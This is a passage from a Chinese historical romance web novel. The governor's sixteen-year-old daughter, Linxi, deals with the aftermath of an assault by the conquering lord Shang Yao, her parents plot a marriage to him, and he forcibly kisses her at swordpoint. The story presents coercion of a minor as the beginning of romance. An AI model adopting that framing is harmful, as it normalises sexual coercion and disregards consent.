“雪宁阿姊和三古死了。”临溪哽咽,眼泪簌簌,“我的护卫和女使都被杀了,我也被欺负了——他欺负我。他欺负我,连我父母也不好管我了。”
穆轻鸿认得雪宁和三古,闻言泪水就涌了出来,断珠下落。同临溪抱头哭过一场,明白“欺负”二字含义不同:“到底是谁?”
临溪摇一摇头,不肯再说。
“我们写信给荀将军!”轻鸿握拳,“让他来。他答应过,会永远保护你的。”
“他也没办法。”临溪以手背拭去泪水,“这次,他也没办法了。”
穆轻鸿怔了一怔,后退一步,喃喃道:“那我知道是谁了。”
10. 风沙
次日,邬逊率人入驻刺史衙署,李芝兰被接回后院。
姬昱等在门口,向护卫亲兵道过谢,上前扶住妻子,二人回到房中。
“翩翩呢。”并无女儿身影,李芝兰焦心,“昨天她从军营跑走……”
“在穆家武堂,轻鸿今早来给我递过话。不必担心。”姬昱口中宽慰,搂住她肩头,“只是——”
穆轻鸿红着眼睛告诉他,临溪衣冠不整,夤夜赶到武堂,求伯父给翩翩一个公道。姬昱双眼一昏。
他给不了。
李芝兰疑惑:“嗯?”
“翩翩同君侯,恐怕——”姬昱也不知该怎么开口,只能道,“大约还是——”
李芝兰怔在原地。
“此事……”姬昱声音轻下去,“君侯血气方刚年纪,以翩翩容貌,实则也是意料之中。”
“姬逸衡!”李芝兰蓦地怒吼,“什么叫意料之中?你告诉我,什么叫意、料、之、中?”
姬昱一愣,妻子狠狠推他一把:“若非你那义子干的好事,商曜连我们膝下是儿是女都不知道!我早将她妥善送去张掖了!怎么会到这一步?”
“这事我们议过了的。”姬昱低声安抚,“是,以前我是想过将她嫁给荀白,好歹生计安稳。那如今君侯既然允诺不动凉州,并非残暴不仁之徒,若他喜欢……”
“那是喜欢吗?”李芝兰声音颤抖,“那是喜欢吗?他们才见过几回?就将你女儿欺负了去,你现在跟我说他是喜欢?”
“他这样的权势地位,瞧上眼原本就是转瞬之间,这个我以为不是最紧要。”姬昱无奈,“芝兰!你且听我说,我打听了他的年庚,如今十九,尚未娶妻。”
“姬逸衡!”李芝兰声音更凶,“我不许我的女儿给人做妾!”
“所以我让你听我说嘛。”姬昱摁住妻子,“芝兰,我若能保住自己在凉州的位置,翩翩嫁给君侯还是合适的,并无很大不妥。嫁给他,今后就安稳了,如今局势,我不信有人能打到晋阳去——就是远嫁晋阳,或许你接受不了。”
“你在做什么春秋大梦啊。”李芝兰愕然,“翩翩都说了,我们拿他根本没有法子。他有什么必要迎娶你的女儿为正妻?”
“话不是这样说。”姬昱凝神,“姬氏一门世家清流,我父亲——翩翩祖父,曾经也是在尚书台行走的。我在洛阳有些声名,同老商侯都见过。家世怎么就不够了?打天下难,治天下只会更难上百倍千倍,他总不能杀尽政见不同之人,自然要留有余地。我凉州扼守西域关隘,同并州诸郡又一向交通频繁,语言人文习俗都相近,比河南扬州等地总归要亲厚许多。至于晋阳城内那些高门,他至今不肯娶妻,想来根本没有联姻打算,不足为惧。”
李芝兰在夫君的长篇大论中渐渐冷静下来:“但你我如今与阶下囚无异……”
“这正是关键。”姬昱沉吟,“他取邺城后,原守将王辽诚服,商曜不仅没杀,反而授折冲中郎将,后又命其兼任邺城郡守。四月安平之乱,王辽亲自率军勤王。自然今后就大不相同了。”
李芝兰又怒:“好!好!说来说去,你还是图谋自己仕途!”
“芝兰!”姬昱苦笑,“我若心中只有自己前途,早降了就是,何苦还响应河南联诏,引得商曜今岁就出兵伐凉。然时移世易,人不为己,天诛地灭。一旦父母前途尽失,还要怎么托举儿女?翩翩没有亲生兄弟,如今子昂也去了,若再嫁错,真不知如何是好。”
“这能对吗?”李芝兰重重拍案,“姬逸衡,你摸着良心问问自己,认识两日就、就——能是良人吗?”
“这不是一回事……商曜毕竟没有妻妾,男子想法同你们女人是不一样的。”姬昱不与妻子争辩,叹气道,“那又说回来,事情已经发生了,只有堂堂正正成婚,翩翩才好解开心结。不是吗?”
李芝兰一默。丈夫这么说,她还是能理解。
“邬逊赶到姑臧了。和商曜一样,说不会住刺史府,不必劳动我们,应当还是为表友好。”姬昱又道,“这邬向明辅佐老商侯二十余年,又是商曜启蒙老师,如今任并州军持节都督,分量很不一般。若得他首肯,机会就更大些。现下姑臧才易主,他自然不重视翩翩,但若运作得当,未必不能。”
“此人我不认得。不过我倒是知道另一人,在商侯帐前很是得力。”李芝兰揉一揉眉心,“夏弋,夏仲康。他夫人也出自陇西李氏,同我是堂姊妹,少时一道读过书。”
“这就是了。”姬昱知道妻子听进去了,神态一松,循循善诱,“你看,表面名为征伐,实则内里都有藕断丝连。没有什么是不能周旋的。”
李芝兰拧紧眉目:“但……翩翩心里有人。”
姬昱意外:“什么?”
连忙迫声追问:“当真?是谁?”
“口口声声爱护女儿,也不知你是怎么个爱护法。”李芝兰轻嘲,“有。只是不好说。”
妻子对此避而不谈,看来不是那么体面。姬昱脑中许多事串联起来——“我早将她送去张掖了”,思绪顿时通亮:“难不成真是荀竞初?”
李芝兰重重叹气。
“这——”姬昱哭笑不得,“年岁都不是一辈了。翩翩十六,君侯生在正月,虚岁说二十,实则不到十九整岁,我才说合适。那荀白都三十又一了!儿子八九岁吧。像话吗?”
“若是荀将军也二十,我早让两人定亲了!”李芝兰反驳,“不就是因为年岁差太多,他又娶过妻生过子,我才一直不肯么!”
“胡闹!”姬昱无奈,“翩翩胡闹,你也胡闹。怎么就——”
“不是她告诉我。”李芝兰撇嘴,“她自己也知道不可能,说出去还不好听。但小女孩哪里藏得住?荀白正月来姑臧述职,给她补了及笄礼,那眼睛亮的,我一瞧就瞧出来。”
“人家那是给小妹、甚至当作给义女送礼物啊!”姬昱在屋里重重走了两步,说嘴时忍不住摊出一面掌心,“你女儿倒好,原来不为保命,真心想嫁是吧?”
“好了好了。”李芝兰脸上挂不住,“荀将军威名远扬,小女孩子心里仰慕,什么也没说没做,哪有这么大罪过?我说要她嫁,她也不乐意,可见拎得清。”
姬昱缓过来一想也是,这才觉得胸中那口气顺了:“你女儿若是喜欢武将,君侯更合适了。他二人有戏。”
夫妻间自我安慰一番,直到晌午,韩朔随从同刺史府小厮闲聊,说漏了嘴。说女公子一把火,不仅烧了主公的帅帐,还偷走照夜白,绘声绘色。
姬昱一呆,回房讷讷告诉李芝兰,二人一起呆住。
一盘芜青,一盘豕肉炙,一尾煎鱼,一罐葵菜汤。这是临溪和轻鸿两人相当不错的吃食了。
轻鸿见她耷头耷脑,一副吃不下米饭的模样,忽然想到一件事,猛地警觉:“翩翩,你不会……那什么吧?”昨夜她一直在说雪宁阿姊和三古的事,最后哭到睡着,轻鸿也不好多问。
临溪拨拉煎鱼尾巴:“什么?”
“就是——”轻鸿一咬牙,“会不会有孕?”
刺史衙署东侧,一间明亮堂屋内,正在翻阅去岁戍卒衣物簿的商曜突然皱眉,打了个嚏。
“啊?”临溪手中木箸掉了一根,“什么啊。”
“这——”穆轻鸿担心得快要哭出来,“那种事,做过也许就会有身子啊。你不怕吗?”
“可我没有啊。”临溪大为窘迫,含含糊糊解释,“我没有……到那一步。”
轻鸿困惑:“这事还分步骤?”
“分。”临溪在心里道,武堂家的女儿果然比自己更不通人性,认真解释,“反正没有。所以其实,我那不算彻底被欺负了去……是我不能原谅,连一点点欺负也不能,不然早一走了之,正是因为想留下来杀他。结果还是没能得手!这竖子。”
轻鸿看她神色平静,语气坦然,放心不少:“那就好。”
“如果有那人的孩子,”轻鸿咬着一筷子芜青,“你肯定就要搬走去晋阳了。我们就再也见不到了。”
家不家国不国天不天下,其实她不大懂,也并不那么关心。比起这些,能不能和好朋友一直在一起,才是穆轻鸿更为关切的事情。
“我不会去的。”临溪毫不犹豫否认,“他不可能一直留在姑臧。确保新州不叛、吏治恢复后,他就会回晋阳去了,最多留下臣属和新的州牧打理。我躲得久一点,等他走了就是。”
好像很有道理,又好像太过天真。穆轻鸿叹了口气:“他非要把你带走怎么办?”
“不会。他没有道理这么做。”临溪对半分着豕肉炙,口中回道,“我又不是天仙。”
轻鸿本能回:“你是啊。”
临溪又掉一次木箸。
张了张嘴,只能无奈保证:“他最不会缺的就是美人了,我真的不算什么。如若真的要逼我——”
想了一想,握拳道:“只能拼命修习刀剑拳法了。”
她说到做到,即刻行动起来。午后就同轻鸿一道,挑了新的女式长剑,在武堂院落里练习招式。
晚间,两人分头沐浴。
临溪坐在浴桶边缘,手持一面青铜镜,去照锁骨间痕迹。
越照越气,索性扣下镜面。
被咬这里是痛的,她也是才知道。
那时——
她不敢立刻动作,只能忍着让他又啃又咬,其实还是叫他得逞了一点时间。直到以为他真的沉迷其中,才敢伸手去摸剪子。
她不懂具体过程该如何,只是觉得这人也不老道,似乎在颈项锁骨逗留太久了。等他预备亲下来,她忍无可忍。
她还以为他是不想亲她——自然,她绝不允许自己被野兽亲。但很显然,判断失误。
商曜并没有不想,他只是沉默打量她稍顷,就俯下身。
比起那中道崩殂的亲吻,真正让她感觉到力量的——一种炙热、磅礴而依旧不断积蓄,独属于成年男子的力量,其实是另一个位置。
临溪眉眼一凛,立刻并拢双腿。
她明白那是男子要害。若非将剧毒涂在身上,自己怕也要出事,实在得不偿失,她都知道该把鸩毒涂在哪里了!
凉州刺史府两条街开外的一处小院内,一明两暗格局,中间厅堂,两侧卧室,筑有一圈夯土墙壁。
商曜同邬逊立于院落,礼貌开口:“屋舍简陋,还请先生不要嫌弃。”
“这已经很好了。”邬逊捋着胡
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须道,“少主公自己都委屈住在军帐中,却特意叫人替我寻干净屋舍,哪有嫌弃的道理?费心了。”
又笑问:“姬使君说将刺史府后院让出。主公何以不要?是觉得很快就回晋阳去,免得他一家人迁居麻烦?”
商曜默认不语,邬逊心下了然:“主公不打算换凉州牧?”
“他在凉州颇有威望,深得民心。”商曜答,“义子又战死。贸然更换,凉州人会闹。”
“留用可免地方抵抗,又笼络当地士族,不乏旧例。但姬逸衡一介文官,能将凉州管住,管这么多年,威望极高,想来还是有些手段。”邬逊摇一摇头,“虽说姬昱自己心里清楚郭颐之死与我们无关,现下也认降,一旦大军还师晋阳,难保他不会生出异心。”
“那就杀之。”商曜似笑非笑道了一句,而后解释,“凉州一带羌乱频繁,各郡豪族盘根交错。贸然拔起,更易生变。”
邬逊赞许点头:“听熙良说,少主公今日已传书叫傅将军来了。是为战事准备?”
大将军傅以存,表字归帆。
“是。且上党事毕——先生也知道归帆,他从不在晋阳过年,麾下部曲可换防凉州数月。”商曜颔首,“届时归晋阳,我亦会亲自绕走河套,巡固西河上郡一带。”
邬逊眼中欣慰满满,抬起手去,拍一拍青年肩侧:“正旦节假,可以陪老夫人贺新年了。开春时节,各州是不会生事的。”
一来春季播种,关乎一年农耕收成,抽调壮丁不妥。二来,春属木,主生发,是生命生长,而战事属金,主杀戮。春季动兵,一向被认为是忤逆天道,会遭天谴。
商曜眸光微微一闪:“实则凉州还有一筹码。”
“少主公。”邬逊含笑,“一年前,老夫人和大翁主头回给主公说亲,介绍晋阳王氏女公子。主公未曾露面,大翁主托我求情,我就对她说,此事不可草率,娶妻娶错亦是灾祸。少主公身旁女公子,是要并肩而行之人。”
商曜微微一怔。
邬逊观他神色,退让一步:“此女的确貌美,性格有些趣味。主公现下想要,臣自然是理解的。享腻就是。不必带回晋阳,以免横生枝节。”
两手交握,再耐心道:“至于侯夫人一类,少主公还是慎言啊。传到有心人耳里去,会真以为能靠女儿登梯。”
商曜心中发誓,今后绝不再带韩朔随军。只面上不显,随意一笑回:“调侃话语,先生见笑。晋阳不需要侯夫人。”
邬逊尚在疑惑,听身旁青年平静道:“曜只立皇后。”
*
次日傍晚,城郊乌连山。
至半山一处荒芜沙地,有一座新起的坟茔,上书“汉故凉州别驾郭君颐字子昂之牌位”。此时坟前置满祭奠所用枣栗菱芡,并一壶醴酒。
云娘祭拜完毕起身,将位置空给姬昱和李芝兰。
李芝兰抿唇,推姬昱上前。
云娘看在眼里,只是低头沉默。待下了山,方上前一步,轻声道:“夫人。”
“使君想要一个人送他片刻。”云娘望着山道,“子昂一直同我说,他希望同晋阳联系。天下豪杰并起,那位十九岁的小君侯看似年轻不可靠,但他信任其才干,寄予厚望。且并凉二州文脉语言最为亲近,又兵强马壮,天然可为一体。”
李芝兰心中沉重:“云儿。我为你好,只说一句。不要再想这些。”
云娘怔怔。
静默片刻,毫无预兆开口:“夫人,翩翩太惹人嫉恨了。家世,性情,容貌,还是使君亲生——一个人得天独厚到这地步,委实不应该。她心高气傲,看不上子昂,这么多年,子昂也很是痛苦。所以,只能一遍遍祈祷她遭报应。”
李芝兰猛地抬头:“看不上?”
她退后一步,口中喃喃:“是羡慕……是羡慕啊。”
云娘却惨淡一笑,卑微低下眉眼,不再言语了。
却忽有一骑,从地平之处驰骋而来。马上女子一身简易骑装,背着一把新的越女剑,一软布包袱,神色冷淡而凛然。
至近后撒手,利落翻身下马,大步走到二人面前。
李芝兰吓了一跳,不知姬临溪为何知道确切下葬时辰,将云娘护了一护,无奈道:“翩翩!到此为止了。”
临溪面无表情,绕开母亲,抬起手臂,将包袱丢给云娘。云娘本能接住,不解抬头。
“你可以来杀我,或找人杀我。随时恭候。”她道,“但我绝不道歉,永远也不。倘若你来找我复仇,我就杀了你和你那孩儿,给你夫君陪葬。”
李芝兰和云娘都有些怔忡。
“但若还想安度余生,里面有两枚金饼,是我手里全部的黄金。”临溪抱胸,抬起下巴,“这些钱足够养你和你儿十年。就算不敢独立生计,有金饼作嫁妆,也够重新嫁个好人家。”
转头看向山上,撇一撇嘴:“父亲果然伤心透顶。”
李芝兰不禁道:“只是……”
“随他。谁在意?”
临溪打断,攥过缰绳,重新飞身上马。背向李芝兰,抬高手臂,挥一挥手。
头也不回策马离开,来如风,去也如风。那马儿一声嘶鸣,直向天圆最后一分余晖冲去。
11. 初吻
姑臧城郊,西门。
八月底,广袤的北地荒野已是一片沉寂,茫茫寒风满天席卷,在视线尽头处,萧索天际遮住半轮血红残阳。那马蹄金戈声却渐渐清晰,旌旗起先只露一角,而后整面从风沙中长出,正是张掖精骑的赤色虎纹。
领头男子三十上下,眉高目深,鼻梁挺直,面庞轮廓硬朗,带着边关将领特有的风霜凌厉。
城楼之下,旗帜已非凉州军。
荀白抿唇,抬手止停己方列队骑兵,亲自开手搭弓,将一支羽箭射上垛口高处。
别部司马徐砺拔出羽箭,解下箭身上所绑缠的粗糙帛卷,躬身交给韩朔。韩朔又快步上到城楼高处,递呈商曜。
商曜并不打开,抬手抽出一支羽箭,直接将帛卷绑回去,拉弓即射,箭矢直直陷入荀白战马前方一寸沙地。
双方骑兵一阵骚动。
韩朔惊讶:“主公——”
“我不读这种信。”商曜慢条斯理,“告诉他,让他下马,亲自步行送过来。”
韩朔张了一下嘴,下到垛口处,招手对徐砺耳语。徐砺亦露出为难神色,到底不敢忤逆,亲自策马出了城门,一递长枪道:“将军!我家少主公说,将军远道而来,该先亲自呈名,下马步行。”
荀白身后几位郎将登时骚乱,“张狂小儿”的骂声不绝于耳。本尊倒反应平淡,丢枪至副将手中,爽快翻身下马,弯腰解回帛卷,向城门下行去。
韩朔擦汗,低声道:“主公!邬先生说,不必和荀将军起争端的。”
商曜掀一掀眼睛:“来五千即灭他五千的将领。还要我礼遇?”
韩朔索性不说了。记仇,记之前招揽时,荀白一口回绝的仇。
徐砺再次递上帛卷。荀白在信中说,知道姑臧易主,也听闻使君已经诚降,自己同样无意为汉室伸张。沿河西道日夜奔袭而来,是因先接到使君传书,交接张掖酒泉等地驻防西羌事宜。又说,自己想见姬使君一面,还请君侯放行。若不放心,他可单枪匹马入城。
商曜不置可否,向徐砺确认:“荀老将军是十年前在洛阳自戕?”
“其实不算自戕。”徐砺站直回话,“被宦官所害,在狱中悲愤交加,吐血气绝而亡。”
商曜丢开帛卷,转身大步下楼。
策马出了城门,只领几名亲兵,拦在荀白跟前,微微调侃:“久仰将军大名。无缘在晋阳城等到将军,倒在凉州碰面了。”
韩朔几乎内伤。少主公童年时记仇功力就非比寻常,越长大越偏执,以至于发展成为怪癖。任何人,若他抛枝不接,或约定后背信弃诺,那一生也就这一次了,绝不会再原谅。
主公幼年一点也不讨厌荀白,甚至还有点仰慕。毕竟此人真不世出之才,少主公七八岁始学兵法,十九岁的荀白已战功赫赫,屡屡以少胜多反败为胜,牢牢将西羌人拦在凉州各城池外,更何况身世悲惨,却忠直坚毅。
是以给了两次机会。少主公袭爵后亲自手书,请他去晋阳共同起事。然此人实在不懂变通,坚定拒绝。
“君侯少年英主,竟还记得竞初一介乡野匹夫。”荀白颔首,“还请君侯不必误解。我麾下只三千精骑,且无意与并州相争,愿意交涉驻防羌人诸事。若说有私人缘由,此趟只为确认姑臧安好,确认使君夫妇安好,并无他意。”
这姬临溪好笑不好笑?心心念念的大英雄来了,只字不提她。
商曜眯一眯眼睛:“我要的东西。”
“君侯放心。”荀白平声回,“我对君侯大计不感兴趣,更不会阻拦。待我见过姬使君,确认事宜,一定如数交予。”
“轮不到你确认。”
韩朔近乎抓耳挠腮。有那么一个父亲,荀白已经二十多年没有离开过凉州一步,只是日复一日地抵御西羌诸部。邬先生再三叮嘱,不必和这样一个将军生事。
好在荀白沉得住气:“少主麾下骁勇将领无数,竞初自知质素平庸,实在不值得君侯费心。过往若有得罪,非我本意,还请君侯海涵。”
“哪里话。”商曜忽然一笑,“进延,请将军入城。”
徐砺连忙点头,上前同荀白并排,打马缓行。而他身后诸位郎将欲随行时,两侧精骑立刻持矛阻拦。
商曜一抬下巴:“放行。”
韩朔松了口气,同徐砺对视一眼,两颗心落下。
放下心的还有别人。
“当真?”临溪收剑,猛地转身,“你确定荀将军今日能到?”
“肯定是今天,我看到并州人去西门了。如果不是有骑兵要入城,他们去做什么?”穆轻鸿托腮,“西门,自然只能是张掖方向来人。”
凉州军中有规定,一旦超出二十以上的骑兵入城,需驻防主将亲自核验放行。寻常人不可能有这么多骑兵,只能是荀白。
临溪心脏一跳:“那我归家去!”
“翩翩!”轻鸿扯住她,“你是不是还对……”
“我没有。”姬临溪打断,神色有些飘忽,“没有。”
“你可别了吧!”穆轻鸿苦着一张脸,“年岁差太多了!你是嫁人,还是去给人颐养天年?”
“你说什么呢?”临溪涨红一张脸,“将军从前指点我们习武,你也——”
“我三天就清醒了呀。”轻鸿软软反驳,“你要这么说,半个武堂的女娘都爱慕过荀将军呢,这并非男女之间的心悦爱慕。”
“我也没有真的爱慕他啊。”临溪难得呐呐,“我只是爱慕英雄。”
穆轻鸿反而一愣:“——那个人不是吗?”
“抢我故乡的除外!”姬临溪一听到“那个人”,双眼开始迸火,“我只想亲手杀之。绝不会爱慕的,一辈子也绝不。”
“那你现在去,见到他怎么办?”轻鸿果断道,“把佩剑戴上。”
“有将军在,料想也没事。”临溪接过,将越女剑佩在腰上,口中又开始不饶人,“我上回在他脸上划了一刀,我迟早在他心上也划一刀。去死吧,这贼人。”
穆轻鸿却神游天外。心上划一刀,那就是让他伤心。伤心就是喜欢,喜欢就是伤心——
回过神来,姬临溪已经斗志昂扬地走了。
姬昱原本接到商曜和荀白——凉州刚降,他也怕这二人不对付,是以亲自出刺史府来接。正微笑说场面话时,却看见两枚圆圆发包躲在墙后,探头探脑。
心下一紧。这翩翩!
他更加确定女儿同商曜有过了。
不然没有道理,放火又戳人的恶劣行径,对方却一言不发。偶尔在衙署遇上,照常淡淡喊他使君。
李芝兰甚至猜,放火戳人本身就是——床笫事的后果。翩翩出离悲愤,才做出这种事,但男子视角未必这么想,只会觉得自己在纵容小女娘情趣。
其实倒也真猜的差不多。
姬昱转头,低声吩咐小厮:“把女公子请到后院去。说我会安排她同荀将军见面。”
小厮会意,躬身退下。
回到堂屋坐下,荀白得他首肯,方开口道:“君侯要的都尉名单,我已经写好,且有几位得力郎将,这次也同我一道过来。其中一位正是张掖属国的胡人将领,君侯若信得过,大可一见。”
商曜点一点头。
“用以传递军情的各处烽燧、障塞,具体点位图卷,我也拿来了。”荀白看一眼姬昱,“实则近些年,因中原皇室衰微、朝廷军中腐败,兼西羌内部动乱,羌人叛乱极为频繁,张掖酒泉二郡比金城好些,但防御压力也一向极大。实不相瞒,我每每来姑臧见使君,都不敢带走我麾下精骑主力,且星夜赶回。君侯若真愿意分拨兵士助我平叛,竞初感激不尽。”
“既在我治下,自然会管。”商曜答,“我麾下大将军正在路上,未来数月,我会让他驻防凉州。他常年在上党雁门一带抵御匈奴,同胡骑作战经验颇丰。”
“但我有个要求。”
荀白颔首。
“将张掖符节交出。”商曜抬眸,淡淡道,“往后你那三千精骑,可同我并州营井水不犯河水。”
荀白默然片刻,只答:“好。”
虽不意外,姬昱还是微微松一口气。荀白此人忠孝,却无愚忠愚孝,常年浴血却不嗜血,性情底色如同一片白茫茫松林,又从不迷路。
其实翩翩若真心仰慕,也没有什么奇怪。只不过——
姬昱窥商曜脸色,想他也有几日不曾见过临溪,咳一声道:“君侯,内子许久不曾见荀将军,特意备下饭食宴请。是以——”
商曜已经起身。
“不过小女有空。”姬昱连忙道,“我叫她来堂屋,服侍君侯用饭如何?”
荀白倏地皱眉,不可置信看向他。不知自己女儿容貌吗?怎么敢这样安排?
商曜脚步一顿,脸上有了点皮笑肉不笑的神气,虽然冷淡,却顺口应下:“那就有劳女公子。”
头也不回走了。
荀白不解:“恩公——”
姬昱擦一擦额,低声道:“我知你会看不上这等行径,但我也是没有法子。事情已经出了,若不能帮翩翩善后拿个名分,她是净吃亏的。”
荀白倏地起身:“恩公是说——”
“原本我想着,预先把人送到你那里去,让你护下。”姬昱叹气,实话实说,“不想子昂却先投敌,将翩翩扭送至商侯眼前。我这女儿你也知道,一旦他们见过面,我管不了。”
“翩翩年纪还小啊,十六岁。”荀白视临溪为小妹,闻言当真有些痛心,“恩公,这……”
“好在成亲也算合适。”姬昱无奈,“只是如今我这处境你也知道,虽因及时降服未起战事,终究还是阶下囚困。哪里有脸主动开口提姻亲事?只好尽量让他二人多相处相处。”
荀白拧紧眉心,不再言语。
临溪这边进了后院,见到李芝兰正在窗下读书,知道这是刺史衙署已经由并州官僚接手,就把人放回来了。依旧惊喜万分:“阿母!”
李芝兰放下竹简:“
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翩翩!”
搂住女儿腰身,眼眶登时一红。心念微动,抬手想去拨临溪领口。不料她立刻退后一步,护住肩颈,微微一笑:“阿母归家就好。”
李芝兰一颗心就这么沉了底。
临溪在心里将那人千刀万剐三百遍。她也是近两日才知道为何当时会有剧痛感——她得到的不是亲吻,而是撕咬。冒了血丝,留下两道浅浅伤口。
其实这几日,李芝兰已经开导过自己无数遍。平心而论,才干如商曜的男子全天下也难找,家世更难,年纪也只差三岁。没有什么好难过的,她强行释然。
但看到女儿垂眸时雅睫轻颤的无助模样,瞬间有些心酸:“翩翩。”
“我无事。”临溪不自在,低头道,“我想见荀将军,阿父说他替我安排。”
“翩翩。”李芝兰难过极了,“他……”
“真的无事。”临溪不想多提,垂首不去看李芝兰悲苦神情。
一来她要强,不愿意同父母转述细节,二来她心里直觉不妙。她相信父亲母亲都会心疼她,却不相信他们能够为她不顾一切,去向更高位的人争公道。
罢了,不说就不说,她也不屑于说废话。临溪握紧剑鞘,反正公道在自己手里。
日暮时分,姬昱递话,说公事谈妥了,她可以去前院和荀将军小叙。
姬临溪心里一跳,连忙背正剑鞘,路过铜镜时梳了梳刘海,提起裙裾就跑。
进了堂屋,木门随即在身后关上。临溪来不及疑惑,抬头就看见案后端坐着的青年男子。
立刻警惕退后,紧帖门页站住:“怎么是你?”
“女公子心虚?”他抬起头来,望着她的目光毫无温度,“也是,烧了我的帅帐,抢我麾下坐骑。是该心虚。”
“照夜白回去了——我懒得跟你说!我阿父呢?”临溪握拳,“我阿父让我和将军说话,你在这里做什么?”
商曜上下扫她一眼,漠然讥讽:“果然。不管多聪明的女子,但凡被双亲卖,依旧是数钱命。”
临溪心下一沉:“你什么意思?”
“令尊也决定,把你送给我。”他掸一掸深衣边缘,神色一闲,“不难猜吧?”
姬临溪错愕。不过也就一息,一息后果断转身推门,未料门页被人从外闩死。不由大怒,抬腿去踹。
“我实在好奇,为何有人说你如谪仙?眼盲耳聋。”他似乎起身了,语调不紧不慢,“你要是在天庭掌雷电,人间恐怕都焦遍了。”
“那你放心!第一道天雷就劈你,第二道再劈你尸身。”她口不饶人,到底还是怕他,紧紧贴着门页,反手去摩挲剑鞘,“我警告你,你再敢碰我——”
“杀了我三个字,你说过无数遍。”他在她跟前几臂距离站定,欣赏她又落进掌心的模样,语气冷冷,“我当童谣听。”
临溪怒不可遏,猛地抽出越女剑。
商曜两道剑眉微微一扬。
他猜到了。她这个身份,不弹琴不跳舞不做女红,落在男子手里动辄喊打喊杀的,大约是好好学过一些傍身武术,才敢自恃英勇。
且西北州郡,民间抵御胡人成风,教导贵族女郎如何保护自己,也很常见。
果然李夫人就解释,是怕她因为容貌出事,夫妇二人实在胆战心惊,索性六岁始就送去姑臧城西穆家武堂,和几位小女童一道练武。直到今岁,实打实练了九年。
七岁始。人家这是从小美到大呢。
唇角一勾,侧身避开凌厉剑锋,抬手抵她腕骨。她立刻绕开将剑调转,重新刺向他面颊。他深感有意思,耐下心又看了几招,方伸手并住剑锋,狠狠一扯。
小女郎招式打得好,无奈力道实在不够,踉跄一下,狠心将剑一抛,退后一大步。
长剑才入半空,商曜抬手夺过,迅疾向前迫行几步。光影之间,剑光无声横至她颈间。男子膝骨将人抵在门上,咬字清晰:“你以为你凭的什么同我闹?”
姬临溪这人虽说鲁莽,却并不是不怕死。剑锋一旦抵住颈骨,顿时冷静下来,眼波转过两圈,脆生生答:“凭你对我有兴趣。”
他又挑眉。
“凭你想跟我做某件事——男人女人会做的那件事。”她斜斜看他,口齿清晰,“但凡你不想,在军帐中就可以杀我;但凡你不想,不会允许降将逢迎讨好;但凡你不想,根本不必理会美人计的。可你就是想,且越来越想——是也不是?君侯。”
她咬重“君侯”二字,歪头向他清甜一笑,笑容适时带出一分妩媚。
他也微微地笑了,漆黑明亮眼睛里,有着毫不掩饰的浓郁兴致。抬腕将剑锋更抵一毫,就在她喉管颈骨边缘。
分明对她长剑悬颈,口中却低声道:“让我亲。”
“我不喜欢你,但我现下要亲你。”
她张嘴欲骂,却只听见剑身坠地,一声清泠。颈后一痛,被人托起,托向他;腰后重重一痛,连足跟亦被迫踮高。
他低头吻了下来。
12. 攫取
双方都是初次亲吻。
然而心情实在大相径庭。一方被某种最深刻的拥有欲望占据,紧紧攥住少女纤腰,凭借本能不断俯身,唇瓣摩挲抵压之间,福至心灵般抬手护住她后脑;一方,贝齿死死咬住唇内。
他知道亲吻不止于此,只想从她身上尽快攫取那份未知的满足,无意表演君子风度。擅闯几次不成,也没有半点耐心哄弄,退开一寸,沉声命令:“张嘴。”
临溪毫不犹豫要骂,却正中人圈套。粉嫩唇瓣甫一启开,眼前男子那对星眸浅浅一亮,唇内一痛。
手心被纠缠盘绕更紧,扣在腰后,双膝被双膝牢牢按住,胸膛紧贴。他带给她不顾一切的亲吻,她也在这吻里感受到近似沙场的血腥气味,绝对、狂热而单一的掠夺。
姬临溪连身量都刚刚过他肩头——她在凉州都不算娇小女郎,再寻常不过的个子。只在此人面前,毫无还手之力。
这个晋阳人,长这么高作甚!
原本中途停歇片刻,喘息呼吸心跳滚在一处,不知周遭今夕何夕。他瞬间又吻回来,沿着唇线内侧细细地咬,左手松开对她腰身的钳制,改为掐托下颌,逼她启唇承受。
虽然性情蛮横,到底是小女娘一枚。头回挨亲就被亲成这样,睁开眼时,双眸坠入雾气之中。五官泛出红晕,娇美灿烂,若清渠芙蓉开在春日里。因神情有些呆愣,在他怀里露出乖巧而稚气的模样。
他垂首静望着,身体深处再次涌出陌生渴望。这渴盼来得又深又重,迫使他脱口说出——
“你顺从些。”商曜抬手拨她的碎发,低声安抚,“我待你好。”
这是他毕生所能够说出最柔软的话了,心下生出一瞬间阻滞,自己听了都起出疙瘩。不过望着她湿润双眸和明显红肿的两瓣娇唇,也不觉后悔,反而感到颇为快活。正欲再说,小娘子忽然屈膝矮下身体,从他臂弯里溜出去。
回身时,她已经利落抓回长剑,毫不犹豫向他刺来。
刚刚亲完,发鬓微乱,就要杀人。
商曜有些无言以对,抬手潦草格挡几下,紧紧将人手腕抓住。这回不舍得再拿剑恐吓她,只一味抬高女娘柔软身体,抱在怀下。
临溪双目熠熠。
他毫无征兆开口。
“究竟什么才能让你屈服。”
他的声音和口吻,终于隐隐约约地,有了一分真诚而坦然的好奇。眸光也是,灼热流连在她这张几乎漂亮精致至不可思议地步的脸庞,一时竟不愿意移开。
“没有。”姬临溪仰起脸,字字铿锵,“竖子!我告诉你,普天之下,没有什么叫我屈服。”
他望着她,胸腔唯余某种繁茂情绪:“是吗。”
“我杀不了你,因为我力气不及你,个子不及你,手中权力不及你。仅此而已。”临溪依旧高声喝骂,“滚开!”
商曜摇一摇头,不知那神色是惊叹,还是兴味盎然:“父母亲眷也不在意?”
临溪不为所动,冷哼道:“乱臣贼子!你要姑臧,要凉州,要天下,杀谁都随你去,我管不着。为威胁女子心甘情愿上你床榻而杀其父母,那你就连并州的主君都不配为之!不,是连最卑微的圂奴都不如。可见所得所获,不过因为投胎机缘,即便日后坐拥江山,我也咒你二世而亡!”
他脸上的笑意淡去,冷冷松手,退开一步:“不想女公子竟还心向洛阳。”
“洛阳?同我有个狗屁关联。狗皇帝死一百个也不关我事。”临溪嗤笑,神色愈发傲气,“但你记着,谁攻我占我家园,谁是我一生之敌。”
跳近一步,费劲却坚持仰脖,同他直视,眉梢飞舞:“你知道世界之大,谁会喜欢自己的仇敌?”
她是流光溢彩的一幅帛画。他心想。
“贱骨头!只有贱骨头,会喜欢上仇人。”姬临溪盯着他,以食指指向自己,“睁大你的眼睛看看——你看我是吗?”
她还是有点怕他了。否则以她的脾气,会说狗眼的。
熠熠生辉,华光四射,胜过世间所有帛画。他修正。
